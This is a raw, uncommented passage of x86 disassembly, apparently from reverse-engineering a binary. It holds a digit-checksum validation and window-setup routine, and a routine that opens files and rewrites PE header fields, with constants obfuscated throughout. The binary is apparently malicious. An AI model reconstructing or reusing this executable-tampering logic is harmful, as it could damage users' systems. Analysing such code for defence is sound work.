[ebp+eax+var_F5], dl movsx eax, word_54F13C movsx edx, word_54F218 add eax, edx mov edx, [ebp+arg_0] mov dl, [edx+6] mov [ebp+eax+var_103], dl mov eax, dword_54F0E0 movsx edx, word_54F0B4 add eax, edx mov edx, [ebp+arg_0] mov dl, [edx] mov [ebp+eax+var_10A], dl mov eax, dword_54F1B4 movsx edx, word_54F128 sub edx, 5 mov [ebp+eax+var_F3], dl mov eax, dword_54F1AC add eax, dword_54F0C8 mov edx, [ebp+arg_0] mov dl, [edx+3] mov [ebp+eax+var_FF], dl mov eax, dword_54F090 add eax, 4 movsx edx, word_54F198 add eax, edx mov edx, [ebp+arg_0] mov dl, [edx+0Bh] mov [ebp+eax+var_FF], dl mov eax, dword_54F1BC mov edx, [ebp+arg_0] mov dl, [edx+12h] mov [ebp+eax+var_F6], dl mov eax, dword_54F20C mov edx, [ebp+arg_0] mov dl, [edx+5] mov [ebp+eax+var_FF], dl mov eax, dword_54F1AC movsx edx, word_54F210 add eax, edx mov edx, [ebp+arg_0] mov dl, [edx+2] mov [ebp+eax+var_104], dl movsx eax, word_54F144 mov edx, [ebp+arg_0] mov dl, [edx+0Dh] mov [ebp+eax+var_F8], dl mov eax, dword_54F1EC mov edx, [ebp+arg_0] mov dl, [edx+1] mov [ebp+eax+var_101], dl jmp short loc_4385A9 ; --------------------------------------------------------------------------- loc_43859A: ; CODE XREF: sub_438324+B0j push [ebp+arg_0] lea eax, [ebp+var_FF] push eax call sub_4455D4 loc_4385A9: ; CODE XREF: sub_438324+274j mov esi, dword_54F18C dec esi jmp short loc_4385C7 ; --------------------------------------------------------------------------- loc_4385B2: ; CODE XREF: sub_438324+2B6j mov al, [ebp+esi+var_FF] cmp al, 30h jl short loc_4385C1 cmp al, 39h jle short loc_4385C6 loc_4385C1: ; CODE XREF: sub_438324+297j jmp loc_439466 ; --------------------------------------------------------------------------- loc_4385C6: ; CODE XREF: sub_438324+29Bj inc esi loc_4385C7: ; CODE XREF: sub_438324+28Cj mov eax, dword_54F154 add eax, 3 movsx edx, word_54F128 add eax, edx cmp esi, eax jb short loc_4385B2 mov eax, dword_54F0AC sub eax, 7 mov [ebp+var_108], eax mov esi, dword_54F1FC jmp short loc_438638 ; --------------------------------------------------------------------------- loc_4385F2: ; CODE XREF: sub_438324+31Ej movsx eax, [ebp+esi+var_FF] sub eax, 30h mov edx, dword_54F0C8 inc edx imul eax, edx add [ebp+var_108], eax cmp [ebp+esi+var_FF], 34h jle short loc_438625 mov eax, dword_54F160 add eax, 2 sub [ebp+var_108], eax loc_438625: ; CODE XREF: sub_438324+2F1j mov eax, dword_54F170 movsx edx, word_54F0C4 add eax, edx sub eax, 8 add esi, eax loc_438638: ; CODE XREF: sub_438324+2CCj mov eax, dword_54F0BC add eax, 10h cmp esi, eax jb short loc_4385F2 mov eax, dword_54F220 mov ebx, eax add ebx, dword_54F154 sub ebx, 9 jmp short loc_438671 ; --------------------------------------------------------------------------- loc_438656: ; CODE XREF: sub_438324+360j movsx eax, [ebp+ebx+var_FF] sub eax, 30h add [ebp+var_108], eax movsx eax, word_54F0CC inc eax add ebx, eax loc_438671: ; CODE XREF: sub_438324+330j movsx eax, word_54F198 mov edx, dword_54F228 lea eax, [eax+edx+7] cmp ebx, eax jb short loc_438656 mov eax, [ebp+var_108] mov ecx, 0Ah xor edx, edx div ecx mov edi, dword_54F238 movsx ebx, word_54F0F4 add edi, ebx sub edi, 2 cmp edx, edi jnz loc_439466 lea eax, [ebp+var_FF] push eax call ds:dword_54CA74 pop ecx or eax, eax jnz loc_439466 mov esi, dword_54F1E0 sub esi, 4 mov esi, dword_54F238 jmp short loc_438701 ; --------------------------------------------------------------------------- loc_4386D6: ; CODE XREF: sub_438324+3E9j mov eax, 30h mul esi mov [ebp+var_264], eax mov eax, dword_54F140 add eax, dword_54F150 sub eax, 5 mov edx, [ebp+var_264] cmp ds:dword_4CA550[edx], eax jz short loc_43870F inc esi loc_438701: ; CODE XREF: sub_438324+3B0j movsx eax, word_54F1A4 add eax, 5Eh cmp esi, eax jb short loc_4386D6 loc_43870F: ; CODE XREF: sub_438324+3DAj movsx eax, word_54F138 mov edx, dword_54F22C lea eax, [eax+edx+5Ah] cmp esi, eax jz loc_439466 mov eax, 30h mul esi mov [ebp+var_268], eax mov eax, [ebp+arg_4] mov edx, [ebp+var_268] mov ds:dword_4CA550[edx], eax push offset byte_5509B1 call sub_43AAF7 pop ecx mov edi, dword_54F0AC movsx ebx, word_54F1C4 add edi, ebx sub edi, 0Fh push edi push eax movsx edi, word_54F210 sub edi, 5 push edi push [ebp+arg_4] call ds:dword_50C930 mov [ebp+var_134], eax mov ecx, dword_54F1F8 sub ecx, 3 cmp eax, ecx jnz short loc_438794 mov eax, [ebp+arg_4] mov [ebp+var_134], eax loc_438794: ; CODE XREF: sub_438324+465j push offset dword_5509A4 call sub_43AAF7 push eax push [ebp+var_134] call sub_443A79 mov [ebp+var_12C], eax push offset dword_550998 call sub_43AAF7 push eax push [ebp+var_12C] call sub_443A79 mov edi, eax mov eax, 30h mul esi mov [ebp+var_26C], eax mov ebx, eax mov ds:dword_4CA554[ebx], edi push 0 mov eax, 30h mul esi mov [ebp+var_270], eax push ds:dword_4CA554[eax] call ds:dword_54C958 mov eax, dword_54F1D0 sub eax, 7 push eax call ds:dword_449598 mov [ebp-10Ch], eax lea eax, [ebp+var_11C] push eax push [ebp+var_12C] call ds:dword_54C950 push offset word_55098E call sub_43AAF7 add esp, 1Ch mov edi, dword_54F1C0 dec edi push edi push dword ptr [ebp-10Ch] movsx edi, word_54F194 movsx ebx, word_54F1F0 add edi, ebx sub edi, 7 push edi push [ebp+var_12C] mov edi, [ebp+var_110] sub edi, [ebp+var_118] push edi mov edi, [ebp+var_114] sub edi, [ebp+var_11C] push edi movsx edi, word_54F13C sub edi, 9 push edi mov edi, dword_54F10C sub edi, 2 push edi push 50800000h lea edi, [ebp+var_FF] push edi push eax push 200h call ds:dword_4CB93C mov edi, eax mov eax, 30h mul esi mov [ebp+var_274], eax mov ebx, eax mov ds:dword_4CA558[ebx], edi mov eax, [ebp+var_114] sub eax, [ebp+var_11C] mov edx, dword_54F1E0 add edx, 29h sub eax, edx mov [ebp+var_120], eax mov edi, [ebp+var_110] sub edi, [ebp+var_118] mov ebx, dword_54F1D4 add ebx, 0F2h sub edi, ebx mov ebx, dword_54F204 add ebx, 3Ah mov eax, edi sub eax, ebx xor edx, edx test eax, eax setl dl add eax, edx sar eax, 1 mov [ebp+var_124], eax mov edx, dword_54F234 add edx, dword_54F184 sub edx, 0Ch cmp eax, edx jge short loc_438934 movsx eax, word_54F0F8 add eax, dword_54F238 sub eax, 4 mov [ebp+var_124], eax loc_438934: ; CODE XREF: sub_438324+5F8j push offset dword_550984 call sub_43AAF7 mov [ebp+var_278], eax push offset dword_550980 call sub_43AAF7 mov [ebp+var_27C], eax mov edi, dword_54F220 add edi, dword_54F140 sub edi, 3 push edi push dword ptr [ebp-10Ch] mov edi, dword_54F0C8 dec edi push edi mov eax, 30h mul esi mov [ebp+var_280], eax mov edi, eax push ds:dword_4CA558[edi] movsx edi, word_54F138 add edi, 0F7h push edi push [ebp+var_120] mov edi, [ebp+var_124] mov ebx, dword_54F188 add ebx, 36h movsx edx, word_54F148 add ebx, edx add edi, ebx movsx ebx, word_54F0FC dec ebx add edi, ebx push edi mov edi, dword_54F154 add edi, 5 add edi, dword_54F0AC push edi push 50800009h mov edi, [ebp+var_27C] push edi mov edi, [ebp+var_278] push edi movsx edi, word_54F0F8 sub edi, 5 push edi call ds:dword_4CB93C mov [ebp+var_138], eax push offset word_550976 call sub_43AAF7 mov [ebp+var_284], eax push offset byte_55095D call sub_43AAF7 mov [ebp+var_288], eax mov edi, dword_54F124 movsx ebx, word_54F0FC add edi, ebx sub edi, 4 push edi push dword ptr [ebp-10Ch] movsx edi, word_54F148 movsx ebx, word_54F1CC add edi, ebx sub edi, 0Ah push edi mov eax, 30h mul esi mov [ebp+var_28C], eax mov edi, eax push ds:dword_4CA558[edi] mov edi, dword_54F1AC add edi, 31h add edi, dword_54F24C push edi push [ebp+var_120] push [ebp+var_124] movsx edi, word_54F104 mov ebx, dword_54F21C lea edi, [edi+ebx+10h] push edi push 50800000h mov edi, [ebp+var_288] push edi mov edi, [ebp+var_284] push edi mov edi, dword_54F214 sub edi, 3 push edi call ds:dword_4CB93C mov [ebp+var_13C], eax mov eax, dword_54F0E8 dec eax push eax push 2 push 0 push 0 push 5 push 1 movsx eax, word_54F198 mov edx, dword_54F228 add edx, eax sub edx, 9 push edx mov edx, dword_54F17C add edx, dword_54F204 sub edx, 9 push edx mov edx, dword_54F19C sub edx, 4 push edx push 2BCh mov edx, dword_54F0A0 add edx, dword_54F174 sub edx, 0Ah push edx push dword_54F0BC add eax, dword_54F154 dec eax push eax mov eax, dword_54F1E4 add eax, 10h push eax call ds:dword_4CA220 mov [ebp+var_140], eax push 1 push eax push 30h push [ebp+var_13C] call ds:dword_446018 push offset byte_550953 call sub_43AAF7 mov [ebp+var_290], eax push offset word_55094E call sub_43AAF7 add esp, 18h mov edi, dword_54F130 dec edi push edi push dword ptr [ebp-10Ch] mov edi, dword_54F134 sub edi, 2 push edi push [ebp+var_138] mov edi, dword_54F0A0 add edi, 0F2h movsx ebx, word_54F210 add edi, ebx mov ebx, dword_54F098 add ebx, dword_54F248 sub ebx, 9 sub edi, ebx push edi mov edi, [ebp+var_120] mov ebx, dword_54F154 add ebx, dword_54F214 sub ebx, 7 sub edi, ebx push edi movsx edi, word_54F148 add edi, dword_54F1E4 sub edi, 4 push edi mov edi, dword_54F108 sub edi, 7 push edi push 50000000h push eax mov edi, [ebp+var_290] push edi mov edi, dword_54F234 add edi, dword_54F170 sub edi, 0Ch push edi call ds:dword_4CB93C mov edi, eax mov eax, 30h mul esi mov [ebp+var_294], eax mov ebx, eax mov ds:dword_4CA55C[ebx], edi mov eax, dword_54F20C add eax, dword_54F174 cmp [ebp+eax+var_10A], 34h jnz short loc_438C3B push offset word_550946 call sub_43AAF7 pop ecx push eax lea edi, [ebp+var_154] push edi call sub_4455D4 jmp short loc_438C53 ; --------------------------------------------------------------------------- loc_438C3B: ; CODE XREF: sub_438324+8FBj push offset dword_550938 call sub_43AAF7 pop ecx push eax lea edi, [ebp+var_154] push edi call sub_4455D4 loc_438C53: ; CODE XREF: sub_438324+915j push offset word_5508C6 call sub_43AAF7 lea edi, [ebp+var_FF] push edi lea edi, [ebp+var_154] push edi push eax lea edi, [ebp+var_253] push edi call ds:dword_50C928 push offset dword_5508BC call sub_43AAF7 mov [ebp+var_298], eax mov edi, dword_54F168 add edi, dword_54F1E0 sub edi, 6 push edi push dword ptr [ebp-10Ch] push dword_54F238 mov eax, 30h mul esi mov [ebp+var_29C], eax mov edi, eax push ds:dword_4CA55C[edi] mov edi, dword_54F1D4 add edi, 28h push edi push [ebp+var_120] movsx edi, word_54F1A4 add edi, 4 push edi mov edi, dword_54F0EC movsx ebx, word_54F13C add edi, ebx push edi push 50000000h lea edi, [ebp+var_253] push edi mov edi, [ebp+var_298] push edi movsx edi, word_54F0F8 add edi, dword_54F200 sub edi, 0Ah push edi call ds:dword_4CB93C mov [ebp+var_258], eax movsx eax, word_54F1C4 add eax, dword_54F0A4 sub eax, 0Fh push eax push 2 push 0 push 0 push 5 push 1 mov eax, dword_54F204 add eax, dword_54F140 sub eax, 3 push eax movsx eax, word_54F148 add eax, dword_54F110 sub eax, 0Ah push eax mov eax, dword_54F158 sub eax, 3 push eax push 190h movsx eax, word_54F164 dec eax push eax mov eax, dword_54F234 add eax, dword_54F120 sub eax, 10h push eax movsx eax, word_54F0F8 movsx edx, word_54F0CC add eax, edx push eax mov eax, dword_54F0E0 add eax, 0Ah push eax call ds:dword_4CA220 mov [ebp+var_130], eax push 1 push eax push 30h push [ebp+var_258] call ds:dword_446018 push offset dword_5508B0 call sub_43AAF7 mov [ebp+var_2A0], eax push offset off_5508AC call sub_43AAF7 mov [ebp+var_2A4], eax mov edi, dword_54F090 sub edi, 4 push edi push dword ptr [ebp-10Ch] movsx edi, word_54F240 movsx ebx, word_54F1E8 add edi, ebx sub edi, 0Fh push edi mov eax, 30h mul esi mov [ebp+var_2A8], eax mov edi, eax push ds:dword_4CA55C[edi] mov edi, dword_54F120 add edi, 124h push edi movsx edi, word_54F1CC mov ebx, dword_54F1BC lea edi, [edi+ebx+2Dh] push edi mov edi, dword_54F10C add edi, 49h push edi mov edi, dword_54F158 add edi, 43h push edi push 50800003h mov edi, [ebp+var_2A4] push edi mov edi, [ebp+var_2A0] push edi mov edi, dword_54F1E0 sub edi, 4 push edi call ds:dword_4CB93C mov edi, eax mov eax, 30h mul esi mov [ebp+var_2AC], eax mov ebx, eax mov ds:dword_4CA564[ebx], edi push offset dword_5508A0 call sub_43AAF7 mov [ebp+var_2B0], eax push offset dword_55089C call sub_43AAF7 add esp, 28h mov [ebp+var_2B4], eax mov edi, dword_54F1C0 movsx ebx, word_54F118 add edi, ebx sub edi, 9 push edi push dword ptr [ebp-10Ch] mov edi, dword_54F160 sub edi, 7 push edi mov eax, 30h mul esi mov [ebp+var_2B8], eax mov edi, eax push ds:dword_4CA55C[edi] mov edi, dword_54F154 add edi, 11Dh add edi, dword_54F1B0 push edi mov edi, dword_54F200 add edi, 26h add edi, dword_54F22C push edi mov edi, dword_54F098 add edi, 3Ah add edi, dword_54F120 push edi movsx edi, word_54F194 movsx ebx, word_54F1A4 lea edi, [edi+ebx+3] push edi push 50800003h mov edi, [ebp+var_2B4] push edi mov edi, [ebp+var_2B0] push edi mov edi, dword_54F0AC sub edi, 7 push edi call ds:dword_4CB93C mov edi, eax mov eax, 30h mul esi mov [ebp+var_2BC], eax mov ebx, eax mov ds:dword_4CA560[ebx], edi mov eax, dword_54F180 movsx edx, word_54F0FC add eax, edx dec eax mov [ebp-102h], ax jmp loc_439032 ; --------------------------------------------------------------------------- loc_438F6E: ; CODE XREF: sub_438324+D21j push offset dword_550894 call sub_43AAF7 movzx edi, word ptr [ebp-102h] push edi push eax lea edi, [ebp+var_2C6] push edi call ds:dword_50C928 lea eax, [ebp+var_2C6] push eax mov eax, dword_54F17C add eax, dword_54F11C sub eax, 9 push eax push 143h mov eax, 30h mul esi mov [ebp+var_2CC], eax push ds:dword_4CA560[eax] call ds:dword_446018 push offset word_55088A call sub_43AAF7 movzx edi, word ptr [ebp-102h] mov ebx, dword_54F19C add ebx, 3 add edi, ebx push edi push eax lea edi, [ebp+var_2C6] push edi call ds:dword_50C928 add esp, 20h lea eax, [ebp+var_2C6] push eax movsx eax, word_54F208 movsx edx, word_54F210 add eax, edx sub eax, 6 push eax push 143h mov eax, 30h mul esi mov [ebp+var_2D0], eax push ds:dword_4CA564[eax] call ds:dword_446018 inc word ptr [ebp-102h] loc_439032: ; CODE XREF: sub_438324+C45j movzx eax, word ptr [ebp-102h] movsx edx, word_54F1A8 add edx, 0Dh cmp eax, edx jl loc_438F6E push offset word_550882 call sub_43AAF7 mov [ebp+var_2C0], eax push offset word_55087E call sub_43AAF7 mov [ebp+var_2C4], eax mov edi, dword_54F200 add edi, dword_54F24C sub edi, 0Eh push edi push dword ptr [ebp-10Ch] mov edi, dword_54F0D4 add edi, dword_54F214 sub edi, 8 push edi mov eax, 30h mul esi mov [ebp-2C8h], eax mov edi, eax push ds:dword_4CA55C[edi] mov edi, dword_54F0A4 add edi, 11h push edi mov edi, dword_54F0D8 add edi, 4Ah add edi, dword_54F0B0 push edi mov edi, dword_54F220 add edi, 7Ah push edi movsx edi, word_54F0F8 mov ebx, dword_54F174 lea edi, [edi+ebx+23h] push edi push 50800000h mov edi, [ebp+var_2C4] push edi mov edi, [ebp+var_2C0] push edi push 200h call ds:dword_4CB93C mov edi, eax mov eax, 30h mul esi mov [ebp+var_2CC], eax mov ebx, eax mov ds:dword_4CA568[ebx], edi movsx eax, word_54F0CC dec eax push eax push 58h push 0CCh mov eax, 30h mul esi mov [ebp+var_2D0], eax push ds:dword_4CA568[eax] call ds:dword_446018 push offset dword_550874 call sub_43AAF7 mov [ebp+var_2D4], eax push offset word_550852 call sub_43AAF7 mov [ebp+var_2D8], eax mov edi, dword_54F168 sub edi, 2 push edi push dword ptr [ebp-10Ch] mov edi, dword_54F1DC add edi, dword_54F0D4 sub edi, 5 push edi mov eax, 30h mul esi mov [ebp+var_2DC], eax mov edi, eax push ds:dword_4CA55C[edi] mov edi, dword_54F10C add edi, 3Dh add edi, dword_54F230 push edi push [ebp+var_120] movsx edi, word_54F0F8 mov ebx, dword_54F224 lea edi, [edi+ebx+49h] push edi mov edi, dword_54F1C0 add edi, 93h add edi, dword_54F124 push edi push 50000000h mov edi, [ebp+var_2D8] push edi mov edi, [ebp+var_2D4] push edi mov edi, dword_54F0D8 sub edi, 6 push edi call ds:dword_4CB93C mov [ebp+var_25C], eax push 1 push [ebp+var_130] push 30h push eax call ds:dword_446018 push offset dword_550848 call sub_43AAF7 mov [ebp+var_2E0], eax push offset word_55082E call sub_43AAF7 add esp, 18h mov [ebp+var_2E4], eax mov edi, dword_54F100 sub edi, 9 push edi push dword ptr [ebp-10Ch] mov edi, dword_54F130 add edi, dword_54F1F4 sub edi, 0Ah push edi mov eax, 30h mul esi mov [ebp+var_2E8], eax mov edi, eax push ds:dword_4CA55C[edi] mov edi, dword_54F0D4 add edi, 12h push edi mov edi, dword_54F230 mov ebx, edi add ebx, 9Ah push ebx mov ebx, dword_54F154 add ebx, 0F1h add ebx, edi movsx edi, word_54F190 mov edx, dword_54F1A0 lea edi, [edi+edx+13h] sub ebx, edi push ebx movsx edi, word_54F138 add edi, 7 push edi push 50800000h mov edi, [ebp+var_2E4] push edi mov edi, [ebp+var_2E0] push edi mov edi, dword_54F214 add edi, dword_54F1D4 sub edi, 0Bh push edi call ds:dword_4CB93C mov edi, eax mov eax, 30h mul esi mov [ebp+var_2EC], eax mov ebx, eax mov ds:dword_4CA56C[ebx], edi push 1 push [ebp+var_130] mov eax, 30h push 30h mul esi mov [ebp+var_2F0], eax push ds:dword_4CA56C[eax] call ds:dword_446018 push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_2F4], eax mov [ebp+var_2F8], eax push ds:dword_4CA55C[eax] call ds:dword_4CC914 mov edi, [ebp+var_2F8] mov ds:dword_4CA57C[edi], eax push offset sub_43FD1A push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_2FC], eax push ds:dword_4CA55C[eax] call ds:dword_4495AC push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_300], eax mov [ebp+var_304], eax push ds:dword_4CA568[eax] call ds:dword_4CC914 mov edi, [ebp+var_304] mov ds:dword_4CA578[edi], eax push offset sub_43FD1A push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_308], eax push ds:dword_4CA568[eax] call ds:dword_4495AC push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_30C], eax mov [ebp+var_310], eax push ds:dword_4CA564[eax] call ds:dword_4CC914 mov edi, [ebp+var_310] mov ds:dword_4CA574[edi], eax push offset sub_43FD1A push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_314], eax push ds:dword_4CA564[eax] call ds:dword_4495AC push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_318], eax mov [ebp+var_31C], eax push ds:dword_4CA560[eax] call ds:dword_4CC914 mov edi, [ebp+var_31C] mov ds:dword_4CA570[edi], eax push offset sub_43FD1A push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_320], eax push ds:dword_4CA560[eax] call ds:dword_4495AC mov eax, 30h mul esi mov [ebp+var_324], eax push ds:dword_4CA560[eax] call ds:dword_4899FC loc_439466: ; CODE XREF: sub_438324+10j ; sub_438324+21j ... pop edi pop esi pop ebx leave retn sub_438324 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43946B proc near ; CODE XREF: sub_43B0C6+D9p ; sub_43B0C6+13Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, dword_54F120 sub esi, 8 movsx edi, word_54F198 dec edi jmp short loc_4394D8 ; --------------------------------------------------------------------------- loc_439488: ; CODE XREF: sub_43946B+77j movzx edx, word ptr [ebx+edi*2] mov ecx, [ebp+arg_4] movzx ecx, word ptr [ecx+edi*2] sub edx, ecx sub edx, esi mov [ebp+var_4], edx movsx eax, word_54F0D0 sub eax, 6 cmp edx, eax jge short loc_4394C7 mov eax, dword_54F12C add eax, 0FFF8h add [ebp+var_4], eax mov eax, dword_54F154 mov esi, eax add esi, dword_54F10C sub esi, 9 jmp short loc_4394D0 ; --------------------------------------------------------------------------- loc_4394C7: ; CODE XREF: sub_43946B+3Bj mov esi, dword_54F0B8 sub esi, 4 loc_4394D0: ; CODE XREF: sub_43946B+5Aj mov edx, [ebp+var_4] mov [ebx+edi*2], dx inc edi loc_4394D8: ; CODE XREF: sub_43946B+1Bj mov eax, dword_54F220 add eax, 1Eh cmp edi, eax jb short loc_439488 pop edi pop esi pop ebx leave retn sub_43946B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4394E9 proc near ; DATA XREF: .data:0054F2E0o arg_4 = dword ptr 0Ch arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_4] mov eax, [ebp+arg_10] mov word ptr [ebp+arg_10], ax mov eax, dword_54F130 add eax, 0F9h cmp edi, eax jnz short loc_439512 push [ebp+arg_14] call sub_44296E pop ecx xor eax, eax jmp short loc_439532 ; --------------------------------------------------------------------------- loc_439512: ; CODE XREF: sub_4394E9+1Aj mov eax, dword_54F14C add eax, 101h cmp edi, eax jnz short loc_43952D push [ebp+arg_14] call sub_43EA1B pop ecx xor eax, eax jmp short loc_439532 ; --------------------------------------------------------------------------- loc_43952D: ; CODE XREF: sub_4394E9+35j mov eax, 80020003h loc_439532: ; CODE XREF: sub_4394E9+27j ; sub_4394E9+42j pop edi pop ebp retn 24h sub_4394E9 endp ; =============== S U B R O U T I N E ======================================= sub_439537 proc near ; DATA XREF: .data:0054F2FCo mov eax, 80004001h retn 10h sub_439537 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43953F proc near ; DATA XREF: .data:0054F2CCo push ebp mov ebp, esp push offset dword_54DF3C call ds:dword_4899F8 mov eax, ds:dword_54DF3C pop ebp retn 4 sub_43953F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_439556 proc near ; DATA XREF: .data:off_54F2C8o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] push offset dword_550A98 push esi call ds:dword_50C93C or eax, eax jz short loc_439582 mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_4395D1 ; --------------------------------------------------------------------------- loc_439582: ; CODE XREF: sub_439556+1Aj push offset dword_550A18 push esi call ds:dword_50C93C or eax, eax jz short loc_4395A2 mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_4395D1 ; --------------------------------------------------------------------------- loc_4395A2: ; CODE XREF: sub_439556+3Aj push offset dword_5509E8 push esi call ds:dword_50C93C or eax, eax jz short loc_4395C2 mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_4395D1 ; --------------------------------------------------------------------------- loc_4395C2: ; CODE XREF: sub_439556+5Aj mov eax, dword_54F1B4 sub eax, 4 mov [edi], eax mov eax, 80004002h loc_4395D1: ; CODE XREF: sub_439556+2Aj ; sub_439556+4Aj ... pop edi pop esi pop ebx pop ebp retn 0Ch sub_439556 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4395D8 proc near ; CODE XREF: sub_43ABE6+1F8p var_32008 = dword ptr -32008h var_32004 = dword ptr -32004h var_31FFF = byte ptr -31FFFh var_31FFD = byte ptr -31FFDh var_31F34 = dword ptr -31F34h var_31F30 = dword ptr -31F30h var_31F2C = dword ptr -31F2Ch var_31F28 = dword ptr -31F28h var_31F24 = dword ptr -31F24h var_31F20 = dword ptr -31F20h var_31F1C = dword ptr -31F1Ch var_31F18 = dword ptr -31F18h var_31F14 = dword ptr -31F14h var_31F10 = dword ptr -31F10h var_31F0C = dword ptr -31F0Ch var_31F08 = dword ptr -31F08h var_31F04 = dword ptr -31F04h var_31F00 = dword ptr -31F00h var_31EFC = dword ptr -31EFCh var_31EF8 = dword ptr -31EF8h var_31EF4 = dword ptr -31EF4h var_31EF0 = dword ptr -31EF0h var_31EEC = dword ptr -31EECh var_31EE8 = dword ptr -31EE8h var_31EE4 = dword ptr -31EE4h var_31EE0 = dword ptr -31EE0h var_31EDC = dword ptr -31EDCh var_31ED8 = byte ptr -31ED8h var_31ECB = byte ptr -31ECBh var_1198 = dword ptr -1198h var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = dword ptr -118Ch var_1188 = dword ptr -1188h var_1184 = dword ptr -1184h var_117F = byte ptr -117Fh var_1080 = dword ptr -1080h var_107C = dword ptr -107Ch var_1078 = dword ptr -1078h var_1074 = dword ptr -1074h var_1070 = dword ptr -1070h var_106C = dword ptr -106Ch var_1068 = dword ptr -1068h var_1064 = dword ptr -1064h var_1060 = dword ptr -1060h var_105C = dword ptr -105Ch var_1058 = dword ptr -1058h var_1054 = dword ptr -1054h var_1050 = dword ptr -1050h var_C54 = dword ptr -0C54h var_C50 = dword ptr -0C50h var_C4C = dword ptr -0C4Ch var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_434 = dword ptr -434h var_430 = dword ptr -430h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = dword ptr -420h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 32008h call sub_4455B4 push ebx push esi push edi mov eax, dword_54F160 sub eax, 7 mov [ebp+var_31EE4], eax push [ebp+arg_8] push [ebp+arg_4] lea eax, [ebp+var_31ECB] push eax call ds:dword_4CB814 add esp, 0Ch loc_43960C: ; CODE XREF: sub_4395D8+99j mov eax, dword_54F124 sub eax, 2 push eax movsx eax, word_54F128 sub eax, 5 push eax push 3 mov eax, dword_54F0C8 dec eax push eax mov eax, dword_54F248 movsx edx, word_54F1A8 add eax, edx sub eax, 4 push eax push 0C0000001h push [ebp+arg_0] call ds:dword_54DB18 mov [ebp+var_1074], eax cmp eax, 0FFFFFFFFh jnz short loc_43967A inc [ebp+var_31EE4] mov eax, dword_54F10C dec eax cmp [ebp+var_31EE4], eax jnz short loc_439673 push [ebp+arg_0] call sub_43DA48 pop ecx jmp short loc_43960C ; --------------------------------------------------------------------------- loc_439673: ; CODE XREF: sub_4395D8+8Ej xor eax, eax jmp loc_43AAF2 ; --------------------------------------------------------------------------- loc_43967A: ; CODE XREF: sub_4395D8+7Aj mov eax, dword_54F174 add eax, dword_54F0D4 sub eax, 0Ch push eax push [ebp+var_1074] call ds:dword_4CC910 mov [ebp+var_10], eax mov edx, [ebp+arg_8] lea eax, [eax+edx+1FFFFh] push eax push 0 call ds:dword_4899EC mov [ebp+var_4], eax movsx eax, word_54F128 sub eax, 5 push eax lea eax, [ebp+var_31EE0] push eax push [ebp+var_10] push [ebp+var_4] push [ebp+var_1074] call ds:dword_446034 mov eax, [ebp+var_4] mov eax, [eax+3Ch] mov [ebp+var_840], eax mov eax, [ebp+var_31EE0] sub eax, 0F8h cmp [ebp+var_840], eax ja loc_43AADB mov eax, [ebp+var_840] add eax, [ebp+var_4] mov [ebp+var_8], eax movzx eax, word ptr [eax] cmp eax, 4550h jnz loc_43AADB mov eax, [ebp+var_8] movzx eax, word ptr [eax+5Ch] mov edx, dword_54F0DC add edx, dword_54F0D8 sub edx, 9 cmp eax, edx jz loc_43AADB and [ebp+var_1184], 0 mov eax, [ebp+var_8] movzx edx, word ptr [eax+44h] mov ecx, dword_54F188 add ecx, 8 cmp edx, ecx jnz short loc_439784 mov edx, dword_54F204 add edx, dword_54F160 dec edx mov [eax+1Ah], dl cmp dl, 0 jz short loc_439784 movzx eax, word ptr [eax+46h] mov [ebp+var_31EF4], eax movsx eax, word_54F0D0 cmp [ebp+var_31EF4], eax jnb loc_43AADB mov [ebp+var_1184], 1 loc_439784: ; CODE XREF: sub_4395D8+16Ej ; sub_4395D8+183j cmp [ebp+var_1184], 0 jz short loc_4397DC mov eax, dword_54F170 movsx edx, word_54F094 add eax, edx cmp [ebp+var_31EF4], eax jnb short loc_4397BC mov eax, [ebp+var_8] add eax, 6 movzx edx, word ptr [eax] mov ecx, dword_54F10C add ecx, 2 sub edx, ecx mov [eax], dx jmp short loc_4397DC ; --------------------------------------------------------------------------- loc_4397BC: ; CODE XREF: sub_4395D8+1C9j mov eax, [ebp+var_8] add eax, 6 movzx edx, word ptr [eax] mov ecx, dword_54F230 movsx edi, word_54F0D0 add ecx, edi sub ecx, 4 sub edx, ecx mov [eax], dx 